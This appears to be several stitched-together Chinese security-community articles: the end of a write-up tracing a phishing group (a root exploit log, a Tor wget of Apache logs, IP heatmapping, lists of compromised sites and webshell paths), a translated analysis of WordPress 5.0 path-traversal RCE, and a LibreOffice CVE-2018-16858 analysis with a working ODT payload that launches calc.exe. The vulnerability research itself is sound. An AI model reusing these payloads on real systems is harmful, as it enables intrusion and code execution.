www-data@medidor2:/tmp$ ./hello
[*] range: b7573000-b7716000]
[*] getuid = b762bd10
[*] mmap 0xb73cb000
[*] exploiting (patch)
[*] patched (madviseThread)
[*] patched (procselfmemThread)
root@medidor2:/tmp# [*] exploiting (unpatch)
[*] unpatched: uid=33 (madviseThread)
[*] unpatched: uid=33 (procselfmemThread)
root@medidor2:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
打包Apache日志。
? ? root@kali ls /var/log/apache2
access error other_vhosts_access.log
? ? root@kali tar zcvf /var/www/apache2-log.tar.gz /var/log/apache2/
? ? root@kali /tmp ltor wget http://187.85.134.4/apache2-log.tar.gz
[proxychains] config file found: /data/app/local/proxychains_local_tor/proxychains.conf
[proxychains] preloading /data/app/local/proxychains_local_tor/libproxychains4.so
[proxychains] DLL init
--2011-11-11 11:11:11-- http://187.85.134.4/apache2-log.tar.gz
正在连接 187.85.134.4:80... [proxychains] Strict chain ... 127.0.0.1:9050 ... 187.85.134.4:80 ... OK
已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：9258688 (8.8M) [application/x-gzip]
正在保存至: “apache2-log.tar.gz”
apache2-log.tar.gz 100%[===================>] 8.83M 29.6KB/s 用时 5m 45s
2018-11-11 11:11:11 (26.2 KB/s) - 已保存 “apache2-log.tar.gz” [9258688/9258688])
### **5.5 分析日志**
分析IP访问情况
? root@kali /tmp/ grep "/cacat/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
95 185.56.80.138
77 197.211.60.52
70 67.71.3.8
59 207.35.210.35
41 99.226.207.46
41 193.215.40.238
39 197.211.59.163
38 82.61.95.132
38 66.249.73.95
37 76.26.34.181
37 197.234.221.77
31 105.112.27.60
29 105.112.23.41
20 109.166.138.68
16 66.249.79.61
16 197.211.61.18
14 212.100.77.191
12 197.234.221.210
8 66.249.79.35
8 66.249.73.64
7 154.118.69.165
5 66.249.73.67
......
? root@kali /tmp for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 185.56.80.138 来自: 荷兰
IP: 197.211.60.52 来自: 尼日利亚
IP: 67.71.3.8 来自: 加拿大
IP: 207.35.210.35 来自: 加拿大
IP: 99.226.207.46 来自: 加拿大
IP: 193.215.40.238 来自: 挪威
IP: 197.211.59.163 来自: 尼日利亚
IP: 82.61.95.132 来自: 意大利
IP: 66.249.73.95 来自: Google 骨干网
IP: 76.26.34.181 来自: 美国
IP: 197.234.221.77 来自: 贝宁
IP: 105.112.27.60 来自: 尼日利亚
IP: 105.112.23.41 来自: 尼日利亚
IP: 109.166.138.68 来自: 罗马尼亚
IP: 66.249.79.61 来自: Google 骨干网
IP: 197.211.61.18 来自: 尼日利亚
IP: 212.100.77.191 来自: 尼日利亚
IP: 197.234.221.210 来自: 贝宁
IP: 66.249.79.35 来自: Google 骨干网
IP: 66.249.73.64 来自: Google 骨干网
IP: 154.118.69.165 来自: 尼日利亚
IP: 66.249.73.67 来自: Google 骨干网
......
根据路径名判断，疑似受害者访问了钓鱼页面。
? root@kali /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
196.52.34.20 - - [12/Oct/201835.0) Gecko/20100101 Firefox/35.0"
207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 200 4489167 "http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
**查看web目录下txt文件访问情况，总共有一万多IP。访问地址包含受害者主机IP、各种搜索引擎爬虫IP、各路黑客的IP等等。**
grep "/cacat/" * |grep "txt" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
? root@kali ~/Desktop wc -l ip.txt
10101 ip.txt
### **5.6 访问IP热力图**
#### **5.6.1 IP转经纬度坐标**
将获得的IP转换成经纬度坐标，再通过百度地图API生成热力图
> 将IP转换成经纬度坐标，脚本：`ip2xy.py` 生成经纬度坐标文件：`point.js` 全球IP库：`GeoLiteCity.dat`
#!/usr/bin/python
#coding:utf-8
import pandas as pd
import pygeoip
import types
import sys
gi = pygeoip.GeoIP('/tmp/GeoLiteCity.dat', pygeoip.MEMORY_CACHE)
def getLocal(ip):
if type(ip) != types.StringType:
print ip
return
location = gi.record_by_addr(ip)
if location is None:
print ip
return
lng = location['longitude']
lat = location['latitude']
str_temp = '{"lat":' + str(lat) + ',"lng":' + str(lng) + '},\n'
print ip,lng,lat,str_temp
file.write(str_temp)
file = open('/tmp/point.js', 'w')
file.write("var points =[\n")
with open("/tmp/ip.txt") as f:
i = 0
for ip in f.readlines():
getLocal(ip)
file.write("];\n")
file.close()
#### **5.6.2 调用百度地图API**
本地调用百度地图 JavaScript API： map.html
<!DOCTYPE html>
<html lang="en">
<head>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="initial-scale=1.0, user-scalable=no" />
<script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&ak=填写自己的百度AK"></script>
<script type="text/javascript" src="http://api.map.baidu.com/library/Heatmap/2.0/src/Heatmap_min.js"></script>
<script type="text/javascript" src="./point.js"></script>
<title>热力图功能示例</title>
<style type="text/css">
ul,li{list-style: none;margin:0;padding:0;float:left;}
html{height:100%}
body{height:100%;margin:0px;padding:0px;font-family:"微软雅黑";}
#container{height:100%;width:100%;}
#r-result{width:100%;}
</style>
</head>
<body>
<div id="container"></div>
<div id="r-result" style="display:none">
<input type="button" onclick="openHeatmap();" value="显示热力图"/><input type="button" onclick="closeHeatmap();" value="关闭热力图"/>
</div>
</body>
</html>
<script type="text/javascript">
var map = new BMap.Map("container"); // 创建地图实例
var point = new BMap.Point(34.0224714118,109.0786868715);
map.centerAndZoom(point, 6); // 初始化地图，设置中心点坐标和地图级别
map.setCurrentCity("西安"); //设置当前显示城市
map.enableScrollWheelZoom(); // 允许滚轮缩放
if(!isSupportCanvas()){
alert('热力图目前只支持有canvas支持的浏览器,您所使用的浏览器不能使用热力图功能~')
}
//详细的参数,可以查看heatmap.js的文档 https://github.com/pa7/heatmap.js/blob/master/README.md
//参数说明如下:
/* visible 热力图是否显示,默认为true
* opacity 热力的透明度,1-100
* radius 势力图的每个点的半径大小
* gradient {JSON} 热力图的渐变区间 . gradient如下所示
* {
.2:'rgb(0, 255, 255)',
.5:'rgb(0, 110, 255)',
.8:'rgb(100, 0, 255)'
}
其中 key 表示插值的位置, 0~1.
value 为颜色值.
*/
heatmapOverlay = new BMapLib.HeatmapOverlay({"radius":100,"visible":true});
map.addOverlay(heatmapOverlay);
heatmapOverlay.setDataSet({data:points,max:100});
//closeHeatmap();
//判断浏览区是否支持canvas
function isSupportCanvas(){
var elem = document.createElement('canvas');
return !!(elem.getContext && elem.getContext('2d'));
}
function setGradient(){
/*格式如下所示:
{
0:'rgb(102, 255, 0)',
.5:'rgb(255, 170, 0)',
1:'rgb(255, 0, 0)'
}*/
var gradient = {};
var colors = document.querySelectorAll("input[type='color']");
colors = [].slice.call(colors,0);
colors.forEach(function(ele){
gradient[ele.getAttribute("data-key")] = ele.value;
});
heatmapOverlay.setOptions({"gradient":gradient});
}
function openHeatmap(){
heatmapOverlay.show();
}
function closeHeatmap(){
heatmapOverlay.hide();
}
</script>
</body>
</html>
#### **5.6.3 生成热力图**
如图所示，欧洲IP居多，亚洲也不少。至于有多少主机沦陷和多少受害者上钩，无法准确判断。
## 六、信息汇总
根据所得信息汇总，对这个黑客组织信息进行简单分析，仅供参考。
### **6.1 组织信息**
> 名称：
>
>> Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber
>
> 地区：
>
>> 巴勒斯坦
>
> 成员ID：
>
>> Hawk_B404 、 MR.S1NS_Y 、 koneksi eror 、 GU3LT03M 、 SinonX 、 ./B4Z1R007 、
./Bl4ckJ4ck 、 anon99husein 、 4GottenName 、Gantai 、 4nzeL4 、 AKEMI403
>
> 历史邮箱：
>
>> [email protected]
> [email protected]
> [email protected]
> [email protected]
> [email protected]
> [email protected]
> [email protected]
>
> 组织主页：
>
>> http://mujahidincyberarmy.blogspot.com/
>>
>> https://www.facebook.com/FamilyAttackCyberOfficial/
### **6.2 攻击手段**
> > 入侵使用Wordpress、Joomla! CMS的网站、放置钓鱼程序，批量传播钓鱼邮件。
>
> 攻击目标：
>
>> 早期政治目的居多，主要攻击美国政府机构网站和雇员。近期多为商业目的，主要针对欧洲银行客户以及亚洲金融机构雇员进行邮件钓鱼。
>
> 控制主机：
>
>> 187.85.134.4
>
> 常用后门：
>
>> 略
### **6.3 攻击历史**
> 美国联邦调查局、美国国土安全部、美国司法部
>
>> 巴勒斯坦黑客已经发布了大约2万名联邦调查局（FBI）和9,000名国土安全部（DHS）官员的个人信息
> http://mujahidincyberarmy.blogspot.com/2016/12/inilah-data-informasi-> pribadi-20-ribu.html
>>
>> 通过钓鱼邮件获得美国司法部权限
>>
>> http://mujahidincyberarmy.blogspot.com/2016/02/hacker-pro-palestina-terbitkan.html
### **6.4 代理IP**
174.85.145.99 (美国) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1" 200 4731 "http://www.rosturplast.com/shells/bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
50.73.252.169 (美国) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 (罗马尼亚) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0"
207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729 "http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
195.211.23.207 (俄罗斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
29.205.113.8 (尼日利亚) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
212.1.211.3 （美国） - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
178.128.221.199 （希腊）- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
197.211.61.82 （尼日利亚) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
### **6.5 被黑网站**
不完全统计
rosturplast.com
mirohaviar.sk
helioncomposites.com
radiolanalhue.cl
zebramedia.al
www.qtfontebispo.com
www.seoeaze.com
vilapoucadeaguiar.com
proyectosphr.cl
u-p.com
www.humanaconsultores.cl
amsogroup.com
www.tdftechnologies.com
www.bvvagos.pt
www.huellasdigitales.cl
lince.apsl.edu.pl
www.fica.unsl.edu.ar
proyectosphr.cl
www.zlobek.uw.edu.pl
ifr.pt
mail.ijrer.org
www.hkmms.org.hk
historia.apsl.edu.pl
www.homeguide.com.sg
onlinecombos.co.in
umo.apsl.edu.pl
www.bpmp2t.lombokbaratkab.go.id
amsogroup.com
viper.cl
www.teniscavancha.cl
www.estacaomedica.pt
terrarestobar.cl
jf-bragado.pt
helioncomposites.com
notariabasualto.cl
ericdiblasi.com
reinamarltda.cl
cobraz.pt
www.stmarypellaia.com
webcam.wm-itservice.at
## 七、攻击路径还原
复盘整个溯源过程，还原攻击者攻击路径。
以上就是整个溯源过程，仅供参考。
* * * | 社区文章 |
# WordPress 5.0.0远程代码执行漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 ripstech，文章来源：blog.ripstech.com
原文地址：<https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概要
本文详细介绍了如何通过路径遍历及本地文件包含（LFI）漏洞，在WordPress中实现远程代码执行（RCE）。该漏洞在WordPress中已存在6年之久。攻击视频参考[此处](https://blog.ripstech.com/videos/wordpress-image-rce.mp4)链接。
在WordPress站点上，如果攻击者具备`author`及以上权限，就可以在底层服务器上执行任意PHP代码，最终可以远程完全接管整个站点。我们已经向WordPress安全团队反馈了另一个漏洞，该漏洞也能让攻击者在任意WordPress站点上获得类似访问权限，目前后一个漏洞尚未修复。
## 二、受影响版本
在4.9.9及5.0.1版本中，由于另一个安全补丁的存在，因此本文介绍的漏洞无法顺利利用。然而路径遍历漏洞依然可能存在，并且当前处于未修复状态。任何WordPress站点如果安装了无法正确处理`Post
Meta`条目的插件，漏洞就可能利用成功。在我们的[WordPress安全月](https://blog.ripstech.com/2019/wordpress-security-month/)活动中，我们已经发现了某些流行插件（活跃安装量达数百万计）存在这类问题。
根据WordPress下载页面的统计数据，互联网上超过[33%](https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/#fn:1)的站点正在使用WordPress。考虑到插件可能会带来新的问题，并且有些网站并没有及时更新，因此我们认为受影响的站点数仍达数百万个。
## 三、技术分析
我们使用自己研发的SAST解决方案RIPS（参考[示例](https://demo-3.ripstech.com/scan/44/55)），在3分钟内就检测到了路径遍历及本地文件包含漏洞。然而，初步分析时这些漏洞似乎无法使用。经过详细调研，事实证明这些漏洞利用起来虽然非常复杂，但的确有可能成功利用。
攻击过程及原理示意请参考[此处](https://blog.ripstech.com/videos/wordpress-image-rce-animation.mp4)视频。
### 背景：WordPress图像管理
当我们将图像上传到WordPress站点时，图像首先会被存放到上传目录中（`wp-content/uploads`）。WordPress也会在数据库中创建该图像的一个内部引用，以跟踪图像的元信息（如图像所有者或上传时间）。
这种元信息以`Post
Meta`条目形式存放在数据库中，每个条目都包含一对key/value，与某个特定的ID相对应。以`evil.jpg`这张上传图像为例，相关`Post
Meta`如下所示：
MariaDB [wordpress]> SELECT * FROM wp_postmeta WHERE post_ID = 50;
+---------+-------------------------+----------------------------+
| post_id | meta_key | meta_value |
+---------+-------------------------+----------------------------+
| 50 | _wp_attached_file | evil.jpg |
| 50 | _wp_attachment_metadata | a:5:{s:5:"width";i:450 ... |
...
+---------+-------------------------+----------------------------+
在本例中，图片所对应的`post_ID`值为50。如果用户后续想使用该`ID`来使用或者编辑该图像，WordPress会查找匹配的`_wp_attached_file`元数据条目，使用其对应的值在`wp-content/uploads`目录中定位该文件。
### 根本问题： Post Meta可被覆盖
在WordPress 4.9.9和5.0.1之前的版本中，`Post Meta`条目可以被修改，被设置为任意值。
当某张图像被更新时（如图像描述发生改动），那么WordPress就会调用`edit_post()`函数，该函数直接作用于`$_POST`数组。
function edit_post( $post_data = null ) {
if ( empty($postarr) )
$postarr = &$_POST;
⋮
if ( ! empty( $postarr['meta_input'] ) ) {
foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
}
如上所示，攻击者有可能注入任意`Post
Meta`条目。由于WordPress并没有检查哪些条目被修改过，因此攻击者可以更新`_wp_attached_file`元数据，将其设置为任意值。该操作并不会重命名文件，只是修改了WordPress在尝试编辑目标图像时所要寻找的文件。这将导致路径遍历问题，后面我们会进一步分析。
### 修改Post Meta实现路径遍历
路径遍历问题存在于`wp_crop_image()`函数中，当用户裁剪图像时，该函数就会被调用。
该函数会获取待裁剪的图像ID值（`$attachment_id`），并从数据库中获取相应的`_wp_attached_file` `Post
Meta`信息。
需要注意的是，由于`edit_post()`中存在缺陷，因此`$src_file`可以被设置为任意值。
简化版的`wp_crop_image()`函数如下，实际代码位于`wp-admin/includes/image.php`文件中。
function wp_crop_image( $attachment_id, $src_x, ...) {
$src_file = $file = get_post_meta( $attachment_id, '_wp_attached_file' );
⋮
在下一步中，WordPress必须确保图像实际存在并加载该图像。在WordPress中加载指定图像有两种方法。第一种是简单地在`wp-content/uploads`目录中，利用`_wp_attached_file` `Post Meta`信息查找指定的文件名（参考下一个代码段的第二行）。
如果该方法查找失败，则WordPress会尝试从站点服务器上下载该图像，这是一种备用方案。为了完成该操作，WordPress会生成一个下载URL，该URL中包含`wp-content/uploads`目录对应的URL以及`_wp_attached_file` `Post Meta`条目中存储的文件名（如下代码片段第6行）。
举一个具体例子：如果`_wp_attached_file` `Post
Meta`条目中存储的值为`evil.jpg`，那么WordPress首先会尝试检查`wp-content/uploads/evil.jpg`文件是否存在。如果该文件不存在，则尝试从`https://targetserver.com/wp-content/uploads/evil.jpg`这个URL下载该文件。
之所以尝试下载文件，而不是在本地搜索文件，原因在于某些插件会在用户访问URL时动态生成图像。
请注意，这个过程并没有进行任何过滤处理。WordPress只会简单地将上传目录以及URL拼接起来（URL中包含用户输入的`$src_file`）。
一旦WordPress通过`wp_get_image_editor()`成功加载一个有效的图像，就会进行裁剪处理。
⋮
if ( ! file_exists( "wp-content/uploads/" . $src_file ) ) {
// If the file doesn't exist, attempt a URL fopen on the src link.
// This can occur with certain file replication plugins.
$uploads = wp_get_upload_dir();
$src = $uploads['baseurl'] . "/" . $src_file;
} else {
$src = "wp-content/uploads/" . $src_file;
}
$editor = wp_get_image_editor( $src );
⋮
经过裁剪的图片随后会被保存回文件系统中（无论是下载文件还是本地文件）。保存文件所使用的文件名为`get_post_meta()`所返回的`$src_file`，而攻击者可以控制这个值。代码中对文件名做的唯一一处修改是为文件的basename（去掉文件名的目录及后缀）添加`cropped-`前缀字符串（如下代码段中第4行）。以前面的`evil.jpg`为例，这里生成的结果文件名为`cropped-evil.jpg`。
如果结果文件路径不存在，则WordPress随后会使用`wp_mkdir_p()`创建相应的目录（参考第6行代码）。
随后，WordPress使用图像编辑器对象的`save()`方法，将图像最终写入文件系统中。`save()`方法也没有对给定的文件名执行目录遍历检查。
⋮
$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
wp_mkdir_p( dirname( $dst_file ) );
$result = $editor->save( $dst_file );
### 利用思路
到目前为止，我们已经分析了哪个文件可能会被载入图像编辑器中，因为WordPress没有执行过滤操作。然而，如果该文件并不是有效的图像，那么图像编辑器就会抛出异常。因此这里第一个假设是，WordPress只能裁剪上传目录外的图像。
然而，由于WordPress在没找到图像时会尝试下载图像，因此会导致远程代码执行（RCE）漏洞。
| 本地文件 | HTTP下载文件
---|---|---
上传的文件 | evil.jpg | evil.jpg
_wp_attached_file | evil.jpg?shell.php | evil.jpg?shell.php
待加载的结果文件 | wp-content/uploads/evil.jpg?shell.php |
<https://targetserver.com/wp-content/uploads/evil.jpg?shell.php>
实际位置 | wp-content/uploads/evil.jpg | <https://targetserver.com/wp-content/uploads/evil.jpg>
结果文件名 | None – 文件加载失败 | evil.jpg?cropped-shell.php
我们可以将`_wp_attached_file`的值设置为`evil.jpg?shell.php`，这样WordPress就会发起一个HTTP请求，请求URL为`https://targetserver.com/wp-content/uploads/evil.jpg?shell.php`。由于在该上下文中，`?`后的所有字符都会被忽略，因此该请求会返回一个有效的图像文件。最终结果文件名会变成`evil.jpg?shell.php`。
然而，虽然图像编辑器的`save()`方法没有检查路径遍历攻击，但会将待加载的图像的`mime`扩展名附加到结果文件名中。在本例中，生成的文件名将为`evil.jpg?cropped-shell.php.jpg`。这样可以让新创建的文件再次保持无害状态。
然而，我们还是可以使用类似`evil.jpg?/../../evil.jpg`的载荷，将结果图像植入任意目录中。
### 利用路径遍历：Theme目录中的LFI
每个WordPress主题实际上都是位于`wp-content/themes`目录中的一个子目录，可以为不同场景提供模板文件。比如，如果博客的某位访问者想查看博客文章，WordPress则会在当前激活的主题中查找`post.php`文件。如果找到模板，则会`include()`该模板。
为了支持额外的自定义层，我们可以为某些文章选择自定义模板。为了完成该任务，用户需要设置数据库中的`_wp_page_template` `Post
Meta`条目，将其设置为自定义文件名。这里唯一的限制条件是：待`include()`的文件必须位于当前激活的主题目录中。
通常情况下，该目录无法访问，并且不会有文件上传到该目录中。然而，攻击者可以滥用前文描述的路径遍历漏洞，将恶意构造的图像植入当前使用的主题目录中。随后攻击者可以创建一个新的帖子，滥用同一个bug，更新`_wp_attached_file`
`Post Meta`数据库条目，以便`include()`该图像。将PHP代码注入图像后，攻击者随后就能获得任意远程代码执行权限。
### 构造恶意图像：GD及Imagick
WordPress支持PHP的两种图像编辑扩展：[GD](https://libgd.github.io/)以及[Imagick](https://www.imagemagick.org/)。这两者有所不同，Imagick并不会删除图像的`exif`元数据，这样我们就可以将PHP代码藏身其中。GD会压缩每张图像，删除所有的`exif`元数据。
然而，我们还是可以制作包含精心构造的像素的图像来利用漏洞，当GD裁剪完图像后，这些像素会以某种方式进行反转，最终达到PHP代码执行执行目标。在我们研究PHP
GD扩展的内部结构过程中，`libgd`又爆出可被利用的一个内存破坏漏洞（[CVE-2019-6977](https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/#fn:2)）。
## 四、时间线
日期 | 事件
---|---
2018/10/16 | 我们在Hackerone上将漏洞反馈给WordPress
2018/10/18 | 某个WordPress安全团队成员确认该报告，并表示在验证报告后会回头联系我们
2018/10/19 | 另一个WordPress安全团队成员请求了解更多信息
2018/10/22 | 我们向WordPress提供了更多信息，并提供了包含270行利用代码的完整脚本，帮助对方确认漏洞
2018/11/15 | WordPress触发该漏洞，表示可以复现该漏洞
2018/12/06 | WordPress 5.0发布，没有修复该漏洞
2018/12/12 | WordPress 5.0.1发布，包含安全更新。某个补丁会阻止攻击者任意设置post
meta条目，因此使该漏洞无法直接利用。然而，路径遍历漏洞依然存在，并且如果已安装的插件没有正确处理Post
Meta条目就可以利用该漏洞。WordPress 5.0.1并没有解决路径遍历或者本地文件包含漏洞
2018/12/19 | WordPress 5.0.2发布，没有修复漏洞
2019/01/09 | WordPress 5.0.3发布，没有修复漏洞
2019/01/28 | 我们询问WordPress下一个安全版本的发布时间，以便协调我们的文章公布时间，准备在补丁发布后公布我们的分析文章
2019/02/14 | WordPress推出补丁
2019/02/14 | 我们提供补丁反馈，验证补丁的确能缓解漏洞利用过程
## 五、总结
本文介绍了WordPress中存在的一个远程代码执行漏洞，该漏洞存在时间已超过6年。RIPS报告了5.0.1版以及4.9.9版中的另一个漏洞，打上该漏洞补丁后，这个RCE漏洞也无法正常利用。然而如果目标站点安装了允许覆盖任意Post
Data的插件，那么依然可以利用路径遍历漏洞。由于我们在攻击目标WordPress站点时需要通过身份认证，因此我们决定在报告漏洞4个月后再公开该漏洞。
感谢WordPress安全团队的志愿者们，他们在该问题沟通上非常友好并且非常专业。 | 社区文章 |
## Libreoffice 远程代码执行漏洞(CVE-2018-16858) 分析
翻译文章：<https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html>
近期，我开始研究 Libreoffice, 刚刚发现了一个远程执行漏洞。用户只需要打开恶意的 ODT
文件，并且将鼠标移到文件上，就可以在不弹出任何警告的前提下触发漏洞。
这篇博客将会详细介绍我发现的这个漏洞。虽然这个漏洞是在 Windows 中演示的，但是仍然可以在 Linux 中使用。
LibrOffice 版本：6.1.2.1
操作系统：Windows + Linux
官方声明：<https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/>
## 一个新特性
开始，我通过阅读设计文档 [OpenDocument-v1.2-part1](http://docs.oasis-open.org/office/v1.2/OpenDocument-v1.2-part1.html) 大致上了解了文件的 ODT 格式。
此外，我还还创建了一些 ODT 文件 (类似于 DOCX，是包含结构描述文件的 ZIP 压缩文件)，这样我就可以正确地遵循文件格式规范。
在设计文档中，我比较感兴趣 office:scripts 元素，所以我开始研究这个元素的使用方法。
我偶然发现了各种语言的文档(包括了Basic、BeanShell、Java、JavaScript和Python)。
此外，我还发现了如何利用图形界面创建ODT文件，并且包含 office:script 元素。
打开 Libreoffice 的 Writer -> Insert -> Hyperlink，然后点击齿轮的图标。
在这里，我选择 onmouseover 事件以及 libreoffice 中安装的 python 示例。在指定这个脚本之后，保存 ODT
文件，我们可以看到这个文件结构：
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/>
xlink:href 看起来像是从本地加载一个文件，研究过后发现，的确是这样的，这个文件的路径为：
C:\Program Files\LibreOffice\share\Scripts\python\pythonSamples\TableSample.py
这个文件包含了一个 createTable 函数。
**_之后，我打开创建的 ODT 文件并将鼠标移到链接上，令我吃惊的是，python 文件在没有任何警告的情况下执行了。_**
另外， LibreOffice 自带 python 解释器，所以在当前系统中不需要实际安装 python。
## 漏洞
既然 LibreOffice 能够执行一个本地的 python 脚本，我首先想到的是做路径穿透。 在解压 ODT 文件后，我修改了
script:event-listener 元素：
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../../../../../../TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/>
之后，我有把所有文件压缩起来，修改扩展名为 ODT，并且开启了 ProcessMonitor。我将 ProcessMonitor 配置为只显示
LibreOffice 相关的事件，并且在 LibreOffice 中打开这个 ODT 文件。当我的鼠标滑过这个超链接时，我马上在
ProcessMonitor 中看到了一个 FILE NOT FOUND 事件！为了确认这个特性是否在路径穿透中仍然可行，我将原来的
TableSample.py 文件拷贝到了 C:\ 目录下，然后再次打开这个 ODT 文件。幸运的是，TableSample.py 真的执行了!
最后，我修改了 TableSample.py 的内容，让它来创建一个文件。我使用相同的方法来运行 ODT
文件，然后发现它真的创建了一个文件！这意味着，只要我的鼠标放在超链接上，我就能运行本地的任意一个 python 脚本，同时不会触发任何安全警告。
## Exploitation
为了利用这个 Bug, 我需要找到一个合适的方法能够在目标计算机上执行一个我们的 python 脚本。首先，我调查了 vnd.sun.star.script
协议的 location 参数。
LOCPARAM identifies the container of the script, i.e. My Macros, or OpenOffice.org Macros, or within the current document, or in an extension.
如果我们能够指定一个当前文档中的脚本，我们应该就不需要担心运行自定义脚本的问题了。然而，这个方法很快就被否定了，因为指定 location =
document 会弹出一个对话框，提示已经禁用了文档内的宏。
另一个想法是利用 location=user 参数。在 Windows 中，当前用户的AppData目录中的 user
路径。其思想是利用路径穿透来到达用户的 Download 目录，并将 ODT 文件作为 python 脚本加载(也就是创建一个多语言文件，这是一个
python + ODT 文件)。不幸的是，这是方法又失败了，因为 LibreOffice 不允许 ODT 文件头之前的有任何数据。
## The solution
随着我进一步研究，我发现它并不只能指定一个 python 脚本作为参数，它还能直接运行一个脚本中的函数。
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../../../../../../TableSample.py$functionName(param1,param2)?language=Python&location=share" xlink:type="simple"/>
因为 LibreOffice 自带了自己的 python 解释器和一堆 python
脚本，我开始逐个检查它们，看是否有存在不安全的函数。经过一番挖掘，我发现了以下代码:
文件：
C:\Program Files\LibreOffice\program\python-core-3.5.5\lib\pydoc.py
代码：
def tempfilepager(text, cmd):
"""Page through text by invoking a program on a temporary file."""
import tempfile
filename = tempfile.mktemp()
with open(filename, 'w', errors='backslashreplace') as file:
file.write(text)
try:
os.system(cmd + ' "' + filename + '"')
finally:
os.unlink(filename)
可以看出，用户控制的 cmd 参数被传递到 os.system() 函数中。相当于直接将一个字符串传给了 shell (或者 windows 中的
cmd)，因此允许执行一个本地的文件与参数。
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&location=share" xlink:type="simple"/>
POC的相关视频，可以点击[这里](https://youtu.be/gChvv570faQ)观看
## 漏洞上报
报告这个 bug 的过程真的是一波三折。起初，我通过 libreoffice bugzilla
